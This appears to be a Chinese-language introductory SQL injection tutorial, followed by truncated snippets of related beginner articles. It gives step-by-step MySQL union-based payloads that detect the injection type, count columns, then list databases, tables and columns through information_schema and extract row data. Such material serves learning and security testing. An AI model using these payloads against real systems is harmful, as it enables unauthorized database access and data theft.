一、判斷注入型別
一般查詢語句,字元型和數值型
1.+-數值,如1+1,1+2
2.後面新增『1 and 1 = 1' 和 』1 and 1 = 2' 進行查詢,若1=1返回正確而1=2返回錯誤則為數值型
3.加'#,若返回正確則為字元型
二、查列數(有待考證)
order by num
num為數值
三、確定字段位置
select * from auth_user where username = 'lisi' and 1 = 2 union select 1,2,3,4,5,6,7,8,9,10,11;
and 1=2是為了避免一些只顯示一行的頁面過濾掉後面的聯合查詢的資料,所以讓前面的查詢條件永遠為false
union就是合併操作,完整語義就是使用union合併兩個select的結果集,前者為空
四、獲取資料庫資訊
database():檢視當前資料庫名稱
version():檢視資料庫版本資訊
user():返回當前資料庫連線的使用者
char():將ascii碼轉化成字元,用於分隔每個欄位的內容
select * from auth_user where username = 'lisi' and 1 = 2 union select user(),database(),3,4,5,6,7,8,9,10,11;
查詢所有表名
select * from auth_user where username = 'lisi' and 1 = 2 union select user(),database(),3,4,5,6,7,8,9,10,table_name from information_schema.tables where table_schema = 'guest';
獲取表所有的欄位名
select * from auth_user where username = 'lisi' and 1 = 2 union select user(),database(),3,4,5,6,7,8,9,10,column_name from information_schema.columns where table_name = 'sign_guest';
獲取字段所有內容
select * from auth_user where username = 'lisi' and 1 = 2 union select user(),database(),3,4,5,6,7,8,9,10,realname from sign_guest;
sql注入入門
參考文章 正常的語句 select from users where username marcofly and password md5 test 異常操作 在使用者名稱輸入框中輸入 or 1 1 密碼隨便輸入,這時候的合成後的sql查詢語句為 select from users where us...
SQL注入入門
sql注入漏洞的產生需要滿足一下兩個條件 引數使用者可控 前段傳給後端的引數內容是由使用者可以控制的。引數帶入資料庫查詢 傳入的引數拼接到sql語句,並且帶入資料庫查詢。例如 select from users where id 1 這不符合語法規範所以會報錯。當傳入id的引數為 and 1 1時 ...
「SQL注入「 入門基礎原理
1.sql 注入 sql 注入攻擊是通過將惡意的 sql 查詢或新增語句插入到應用的輸入引數中,再在後台 sql 伺服器上解析執行進行的攻擊,它目前黑客對資料庫進行攻擊的最常用手段之一。2.web 程式三層架構 a.介面層 user inte ce layer b.業務邏輯層 business lo...